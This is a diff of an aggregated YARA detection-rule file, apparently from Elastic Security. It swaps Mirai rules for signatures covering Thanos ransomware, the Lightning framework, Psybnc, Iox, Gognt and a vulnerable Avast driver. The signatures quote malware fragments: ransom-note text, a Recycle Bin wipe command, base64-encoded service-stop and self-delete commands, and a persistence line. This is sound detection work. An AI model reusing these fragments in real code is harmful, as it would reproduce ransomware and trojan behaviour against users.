+		$b1 = { 00 57 00 78 00 73 00 49 00 48 00 6C 00 76 00 64 00 58 00 49 00 67 00 5A 00 6D 00 6C 00 73 00 5A 00 58 00 4D 00 67 00 64 00 32 00 56 00 79 00 5A 00 53 00 42 00 6C 00 62 00 6D 00 4E 00 79 00 65 00 58 00 42 00 30 00 5A 00 57 00 51 00 73 00 49 00 47 00 6C 00 6D 00 49 00 48 00 6C 00 76 00 64 00 53 00 42 00 33 00 59 00 57 00 35 00 30 00 49 00 48 00 52 00 76 00 49 00 47 00 64 00 6C 00 64 00 43 00 42 00 30 00 61 00 47 00 56 00 74 00 49 00 47 00 46 00 73 00 62 00 43 00 42 00 69 00 59 00 57 00 4E 00 72 00 4C 00 43 00 42 00 77 00 62 00 47 00 56 00 68 00 63 00 32 00 55 00 67 00 59 00 32 00 46 00 79 00 5A 00 57 00 5A 00 31 00 62 00 47 00 78 00 35 00 49 00 48 00 4A 00 6C 00 59 00 57 00 51 00 67 00 64 00 47 00 68 00 6C 00 49 00 48 00 52 00 6C 00 65 00 48 00 51 00 67 00 62 00 6D 00 39 00 30 00 5A 00 53 00 42 00 73 00 62 00 32 00 4E 00 68 00 64 00 47 00 56 00 6B 00 49 00 47 00 6C 00 75 00 49 00 48 00 6C 00 76 00 64 00 58 00 49 00 67 00 5A 00 47 00 56 00 7A 00 61 00 33 00 52 00 76 00 63 00 43 00 34 00 75 00 4C 00 67 00 3D 00 3D }
+		$b2 = { 01 0E 0E 05 00 02 0E 0E 0E 04 00 01 01 0E 04 00 01 0E 0E 06 00 03 01 0E 0E 0E 80 90 55 00 30 00 39 00 47 00 56 00 46 00 64 00 42 00 55 00 6B 00 56 00 63 00 54 00 57 00 6C 00 6A 00 63 00 6D 00 39 00 7A 00 62 00 32 00 5A 00 30 00 58 00 46 00 64 00 70 00 62 00 6D 00 52 00 76 00 64 00 33 00 4D 00 67 00 54 00 6C 00 52 00 63 00 51 00 33 00 56 00 79 00 63 00 6D 00 56 00 75 00 64 00 46 00 5A 00 6C 00 63 00 6E 00 4E 00 70 00 62 00 32 00 35 00 63 00 56 00 32 00 6C 00 }
 
 	condition:
-		all of them
+		1 of ($b*)
 }
-rule ELASTIC_Linux_Trojan_Mirai_C8385B81 : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Thanos_E19Feca1 : BETA FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Identifies THANOS (Hakbit) ransomware"
 		author = "Elastic Security"
-		id = "c8385b81-0f5b-41c3-94bb-265ede946a84"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L199-L217"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "3d27736caccdd3199a14ce29d91b1812d1d597a4fa8472698e6df6ef716f5ce9"
-		logic_hash = "4ff1f0912fb92e7ac5af49e1738dac897ff1f0a118d8ff905da45b0a91b3f4a7"
+		id = "e19feca1-b131-4045-be0c-d69d55f9a83e"
+		date = "2020-11-03"
+		modified = "2021-08-23"
+		reference = "https://labs.sentinelone.com/thanos-ransomware-riplace-bootlocker-and-more-added-to-feature-set/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Thanos.yar#L46-L77"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "1f5a69b6749e887a5576843abb83388d5364e47601cf11fcac594008ace8e973"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "dfdbd4dbfe16bcf779adb16352d5e57e3950e449e96c10bf33a91efee7c085e5"
+		tags = "BETA, FILE, MEMORY"
+		fingerprint = "d6654d0b3155d9c64fd4e599ba34d51f110d9dfda6fa1520b686602d9f608f92"
+		threat_name = "Windows.Ransomware.Thanos"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 8D 74 26 00 89 C2 83 ED 04 C1 E2 0B 31 C2 89 F0 C1 E8 13 89 D1 }
+		$a1 = "<GetIPInfo>b__"
+		$a2 = "<Killproc>b__"
+		$a3 = "<Crypt>b__"
+		$a4 = "<Encrypt2>b__"
+		$b1 = "Your files are encrypted."
+		$b2 = "I will treat you good if you treat me good too."
+		$b3 = "I don't want to loose your files too"
+		$b4 = "/c rd /s /q %SYSTEMDRIVE%\\$Recycle.bin" wide fullword
+		$b5 = "\\HOW_TO_DECYPHER_FILES.txt" wide fullword
+		$b6 = "c3RvcCBTUUxURUxFTUVUUlkkRUNXREIyIC95" wide fullword
+		$b7 = "c3RvcCBNQkFNU2VydmljZSAveQ==" wide fullword
+		$b8 = "L0MgY2hvaWNlIC9DIFkgL04gL0QgWSAvVCAzICYgRGVsIA==" wide fullword
+		$b9 = "c3RvcCBjY0V2dE1nciAveQ==" wide fullword
 
 	condition:
-		all of them
+		(4 of ($a*)) or (3 of ($b*))
 }
-rule ELASTIC_Linux_Trojan_Mirai_122Ff2E6 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Psybnc_563Ecb11 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Linux Trojan Psybnc (Linux.Trojan.Psybnc)"
 		author = "Elastic Security"
-		id = "122ff2e6-56e6-4aa8-a3ec-c19d31eb1f80"
+		id = "563ecb11-e215-411f-8583-7cb7b2956252"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L219-L237"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "c7dd999a033fa3edc1936785b87cd69ce2f5cac5a084ddfaf527a1094e718bc4"
-		logic_hash = "62884309b9095cdd6219c9ef6cd77a0f712640d8a1db4afe5b1d01f4bbe5acc2"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Psybnc.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "f77216b169e8d12f22ef84e625159f3a51346c2b6777a1fcfb71268d17b06d39"
+		logic_hash = "b93e6ab097ccd4c348d228a48df098594e560e62256bfe019669ca9488221214"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "3c9ffd7537e30a21eefa6c174f801264b92a85a1bc73e34e6dc9e29f84658348"
+		fingerprint = "1e7a2a6240d6f7396505cc2203c03d4ae93a7ef0c0c956cef7a390b4303a2cbe"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -68651,28 +72754,28 @@ rule ELASTIC_Linux_Trojan_Mirai_122Ff2E6 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 24 EB 15 89 F0 83 C8 01 EB 03 8B 5B 08 3B 43 04 72 F8 8B 4B 0C 89 }
+		$a = { 5F 65 6E 00 6B 6F 5F 65 6E 00 72 75 5F 65 6E 00 65 73 5F 65 6E 00 44 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_26Cba88C : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Psybnc_Ab3396D5 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Linux Trojan Psybnc (Linux.Trojan.Psybnc)"
 		author = "Elastic Security"
-		id = "26cba88c-7bd4-4fac-b395-04c4745fee43"
+		id = "ab3396d5-388b-4730-9a55-581c327a2769"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L239-L257"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "4b4758bff3dcaa5640e340d27abba5c2e2b02c3c4a582374e183986375e49be8"
-		logic_hash = "bb5a0f9e68655556ab9fccc27d11bf7828c299720bb67948455579d6a7eb2a9f"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Psybnc.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "c5ec84e7cc891af25d6319abb07b1cedd90b04cbb6c8656c60bcb07e60f0b620"
+		logic_hash = "8c083f66fc252a88395bb954a67d710d64f5b68efb9df4b60b260302874b400a"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "358dd5d916fec3e1407c490ce0289886985be8fabee49581afbc01dcf941733e"
+		fingerprint = "1180e02d3516466457f48dc614611a6949a4bf21f6a294f6384892db30dc4171"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -68680,28 +72783,28 @@ rule ELASTIC_Linux_Trojan_Mirai_26Cba88C : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { F6 41 00 42 00 43 00 44 00 45 00 46 00 47 00 48 00 49 00 4A 00 }
+		$a = { 53 54 00 55 53 45 52 4F 4E 00 30 00 50 25 64 00 58 30 31 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_93Fc3657 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Psybnc_F07357F1 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Linux Trojan Psybnc (Linux.Trojan.Psybnc)"
 		author = "Elastic Security"
-		id = "93fc3657-fd21-4e93-a728-c084fc0a6a4a"
+		id = "f07357f1-1a92-4bd7-a43d-7a75fb90ac83"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L259-L277"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6"
-		logic_hash = "0b5278feddd00b0b24ca735bf7cd1440379c6ce5aca6d2a6f38c9fdcedcb3c0d"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Psybnc.yar#L41-L59"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "f77216b169e8d12f22ef84e625159f3a51346c2b6777a1fcfb71268d17b06d39"
+		logic_hash = "cfe217fe108de787600d1ef06ac6738d84aedfc46e5632143692a9f83cb62df7"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "d01a9e85a01fad913ca048b60bda1e5a2762f534e5308132c1d3098ac3f561ee"
+		fingerprint = "f0f1008fec444ce25d80f9878a04d9ebe9a76f792f4be8747292ee7b133ea05c"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -68709,56 +72812,59 @@ rule ELASTIC_Linux_Trojan_Mirai_93Fc3657 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 00 00 00 89 44 24 60 89 D1 31 C0 8B 7C 24 28 FC F3 AB 89 D1 8B 7C }
+		$a = { F7 EA 89 D0 C1 F8 02 89 CF C1 FF 1F 29 F8 8D 04 80 01 C0 29 C1 8D }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_7C88Acbc : FILE MEMORY
+rule ELASTIC_Windows_Vulndriver_Arpot_09C714C5 : FILE
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Name: aswArPot.sys, Version: 21.1.187.0"
 		author = "Elastic Security"
-		id = "7c88acbc-8b98-4508-ac53-ab8af858660d"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "09c714c5-7639-44cf-990f-16ac0d42f8f9"
+		date = "2022-04-27"
+		modified = "2022-05-03"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L279-L296"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "76373f8e09b7467ac5d36e8baad3025a57568e891434297e53f2629a72cf8929"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_ArPot.yar#L1-L21"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "4b5229b3250c8c08b98cb710d6c056144271de099a57ae09f5d2097fc41bd4f1"
+		logic_hash = "e5f972ad9a31aefbd20237e6ea3dd19a025c2e3487fa080e9f9b8acf1e3f58e6"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "e2ef1c60e21f18e54694bcfc874094a941e5f61fa6144c5a0e44548dafa315be"
-		severity = 100
+		tags = "FILE"
+		fingerprint = "7876556bbfd68903a38103ccd6e9ec8c4c9a89e7dfaada86b6633a8d7ec9b806"
+		threat_name = "Windows.VulnDriver.ArPot"
+		severity = 50
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = "[Cobalt][%s][%s][%s][%s]"
+		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 61 00 73 00 77 00 41 00 72 00 50 00 6F 00 74 00 2E 00 73 00 79 00 73 00 00 00 }
+		$version = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}(([\x00-\x01][\x00-\x00])([\x00-\x15][\x00-\x00])([\x00-\x00][\x00-\x00])([\x00-\xbb][\x00-\x00])|([\x00-\xff][\x00-\xff])([\x00-\x14][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\x00][\x00-\x00])([\x00-\x15][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\x01][\x00-\x00])([\x00-\x15][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xba][\x00-\x00]))/
 
 	condition:
-		all of them
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name and $version
 }
-rule ELASTIC_Linux_Trojan_Mirai_804F8E7C : FILE MEMORY
+rule ELASTIC_Linux_Hacktool_Lightning_D9A9173A : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Linux Hacktool Lightning (Linux.Hacktool.Lightning)"
 		author = "Elastic Security"
-		id = "804f8e7c-4786-42bc-92e4-c68c24ca530e"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L298-L316"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6"
-		logic_hash = "711d74406d9b0d658b3b29f647bd659699ac0af9cd482403122124ec6054f1ec"
+		id = "d9a9173a-6372-4892-8913-77f5749aa045"
+		date = "2022-11-08"
+		modified = "2024-02-13"
+		reference = "https://www.intezer.com/blog/research/lightning-framework-new-linux-threat/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Hacktool_Lightning.yar#L1-L23"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "48f9471c20316b295704e6f8feb2196dd619799edec5835734fc24051f45c5b7"
+		logic_hash = "93961d9771aa4e828e15923064a848291c7814ad4e15e30cd252fc41523d789e"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "1080d8502848d532a0b38861437485d98a41d945acaf3cb676a7a2a2f6793ac6"
+		fingerprint = "f6e9d662f22b6f08c5e6d32994d6ed933c6863870352dfb76e1540676663e7e0"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -68766,28 +72872,31 @@ rule ELASTIC_Linux_Trojan_Mirai_804F8E7C : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 31 ED 81 E1 FF 00 00 00 89 4C 24 58 89 EA C6 46 04 00 C1 FA 1F }
+		$a1 = "cat /sys/class/net/%s/address" ascii fullword
+		$a2 = "{\"ComputerName\":\"%s\",\"Guid\":\"%s\",\"RequestName\":\"%s\",\"Licence\":\"%s\"}" ascii fullword
+		$a3 = "sleep 60 && ./%s &" ascii fullword
+		$a4 = "Lightning.Core" ascii fullword
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_A2D2E15A : FILE MEMORY
+rule ELASTIC_Linux_Hacktool_Lightning_E87C9D50 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Linux Hacktool Lightning (Linux.Hacktool.Lightning)"
 		author = "Elastic Security"
-		id = "a2d2e15a-a2eb-43c6-a43d-094ee9739749"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L318-L336"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "567c3ce9bbbda760be81c286bfb2252418f551a64ba1189f6c0ec8ec059cee49"
-		logic_hash = "c76fe953c4a70110346a020f2b27c7e79f4ad8a24fd92ac26e5ddd1fed068f65"
+		id = "e87c9d50-dafc-45bd-8786-5df646108c8a"
+		date = "2022-11-08"
+		modified = "2024-02-13"
+		reference = "https://www.intezer.com/blog/research/lightning-framework-new-linux-threat/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Hacktool_Lightning.yar#L25-L48"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "fd285c2fb4d42dde23590118dba016bf5b846625da3abdbe48773530a07bcd1e"
+		logic_hash = "455ecf97e7becaf9c40843f8a3f60ec233d35e0061c6994f168428a8835c1b20"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "0e57d17f5c0cd876248a32d4c9cbe69b5103899af36e72e4ec3119fa48e68de2"
+		fingerprint = "22b982866241d50b6e5d964ee190f6d07982a5d3f0b2352d863c20432d5f785e"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -68795,28 +72904,32 @@ rule ELASTIC_Linux_Trojan_Mirai_A2D2E15A : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 42 F0 41 83 F8 01 76 5F 44 0F B7 41 10 4C 01 C0 44 8D 42 EE 41 83 }
+		$a1 = "Execute %s Faild." ascii fullword
+		$a2 = "Lightning.Downloader" ascii fullword
+		$a3 = "Execute %s Success." ascii fullword
+		$a4 = "[-] Socks5 are Running!" ascii fullword
+		$a5 = "[-] Get FileInfo(%s) Faild!" ascii fullword
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_5946F41B : FILE MEMORY
+rule ELASTIC_Linux_Hacktool_Lightning_3Bcac358 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Linux Hacktool Lightning (Linux.Hacktool.Lightning)"
 		author = "Elastic Security"
-		id = "5946f41b-594c-4fde-827c-616a99f6fc1b"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L338-L356"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "f0b6bf8a683f8692973ea8291129c9764269a6739650ec3f9ee50d222df0a38a"
-		logic_hash = "43691675db419426413ccc24aa9dfe94456fa1007630652b08a625eafd1f17b8"
+		id = "3bcac358-b4b9-43ae-b173-bebe0c9ff899"
+		date = "2022-11-08"
+		modified = "2024-02-13"
+		reference = "https://www.intezer.com/blog/research/lightning-framework-new-linux-threat/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Hacktool_Lightning.yar#L50-L72"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "ad16989a3ebf0b416681f8db31af098e02eabd25452f8d781383547ead395237"
+		logic_hash = "f260372b9f2ea32f93ff7a30dc8239766e713a1e177a483444b14538741c24af"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "f28b9b311296fc587eced94ca0d80fc60ee22344e5c38520ab161d9f1273e328"
+		fingerprint = "7108fab0ed64416cf16134475972f99c24aaaf8a4165b83287f9bdbf5050933b"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -68824,57 +72937,63 @@ rule ELASTIC_Linux_Trojan_Mirai_5946F41B : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 59 08 AA 3A 4C D3 6C 2E 6E F7 24 54 32 7C 61 39 65 21 66 74 }
+		$a1 = "[+] %s:%s %d,ntop:%s,strport:%s" ascii fullword
+		$a2 = "%s: reading file \"%s\"" ascii fullword
+		$a3 = "%s: kill(%d): %s" ascii fullword
+		$a4 = "%s exec \"%s\": %s" ascii fullword
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_Da4Aa3B3 : FILE MEMORY
+rule ELASTIC_Windows_Hacktool_Iox_98Cd1Cd8 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Windows Hacktool Iox (Windows.Hacktool.Iox)"
 		author = "Elastic Security"
-		id = "da4aa3b3-521d-4fde-b1be-c381d28c701c"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L358-L376"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "dbc246032d432318f23a4c1e5b6fcd787df29da3bf418613f588f758dcd80617"
-		logic_hash = "84ddc505d2e2be955b88a0fe3b78d435f73c0a315b513e105933e84be78ba2ad"
+		id = "98cd1cd8-8a0c-489e-86d1-58da88dc2c71"
+		date = "2024-01-24"
+		modified = "2024-01-29"
+		reference = "https://www.elastic.co/security-labs/unmasking-financial-services-intrusion-ref0657"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Hacktool_Iox.yar#L1-L23"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "d4544a521d4e6eb07336816b1aae54f92c5c4fd2eb31dcfbdf26e4ef890e73db"
+		logic_hash = "d7f9e4f399410d54416e974fbd66b2caa27359ae0f2e33e01d62f1aa618daa34"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "8b004abc37f47de6e4ed35284c23db0f6617eec037a71ce92c10aa8efc3bdca5"
+		fingerprint = "8c0f4041223713bef105ca5986b9ec30b4bfb22aeeab8f4465938cf8212fc7c1"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 01 D0 C1 E0 03 89 C2 8B 45 A0 01 D0 0F B6 40 14 3C 1F 77 65 8B }
+		$param_check_b0 = { 48 83 FB 05 0F 85 ?? ?? ?? ?? 81 38 70 72 6F 78 66 0F 1F 44 00 00 0F 85 ?? ?? ?? ?? 80 78 04 79 0F 85 ?? ?? ?? ?? 48 83 F9 03 }
+		$param_check_b1 = { 48 8B 14 24 4C 8B 5C 24 18 4C 8B 64 24 08 4C 8B 6C 24 08 4C 8B 7C 24 20 66 0F 1F 84 00 00 00 00 00 48 83 FB 03 0F 85 ?? ?? ?? ?? 66 81 38 66 77 0F 85 ?? ?? ?? ?? 80 78 02 64 }
+		$param_check_b2 = { 81 38 2D 2D 6C 6F 0F 1F 44 00 00 0F 85 ?? ?? ?? ?? 66 81 78 04 63 61 0F 85 ?? ?? ?? ?? 80 78 06 6C }
+		$param_check_b3 = { 83 FA 05 0F 85 ?? ?? ?? ?? 81 38 2D 2D 6B 65 0F 85 ?? ?? ?? ?? 80 78 04 79 90 }
 
 	condition:
-		all of them
+		3 of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_70Ef58F1 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Gognt_50C3D9Da : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Linux Trojan Gognt (Linux.Trojan.Gognt)"
 		author = "Elastic Security"
-		id = "70ef58f1-ac74-4e33-ae03-e68d1d5a4379"
+		id = "50c3d9da-0392-4379-aafe-cfe63ade3314"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L378-L396"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "fc8741f67f39e7409ab2c6c62d4f9acdd168d3e53cf6976dd87501833771cacb"
-		logic_hash = "3ad201d643e8f93a6f9075c03a76020d78186702a19bf9174b08688a2e94ef5c"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gognt.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "79602bc786edda7017c5f576814b683fba41e4cb4cf3f837e963c6d0d42c50ee"
+		logic_hash = "ecd9cd94b3bf8c50c347e70aab3da03ea6589530b20941a9f62dac501f8144fc"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "c46eac9185e5f396456004d1e0c42b54a9318e0450f797c55703122cfb8fea89"
+		fingerprint = "a4b7e0c7c2f1b0634f82106ec0625bcdde02296b3e72c9c3aa9c16e40d770b43"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -68882,28 +73001,28 @@ rule ELASTIC_Linux_Trojan_Mirai_70Ef58F1 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 89 D0 8B 19 01 D8 0F B6 5C 24 10 30 18 89 D0 8B 19 01 D8 0F B6 5C }
+		$a = { 00 00 00 47 6F 00 00 51 76 46 5F 6F 30 59 36 55 72 5F 6C 63 44 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_Ea584243 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Gognt_05B10F4B : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Linux Trojan Gognt (Linux.Trojan.Gognt)"
 		author = "Elastic Security"
-		id = "ea584243-6ead-4b96-9a5c-5b5dee12fd57"
+		id = "05b10f4b-7434-457a-9e8e-d898bb839dce"
 		date = "2021-01-12"
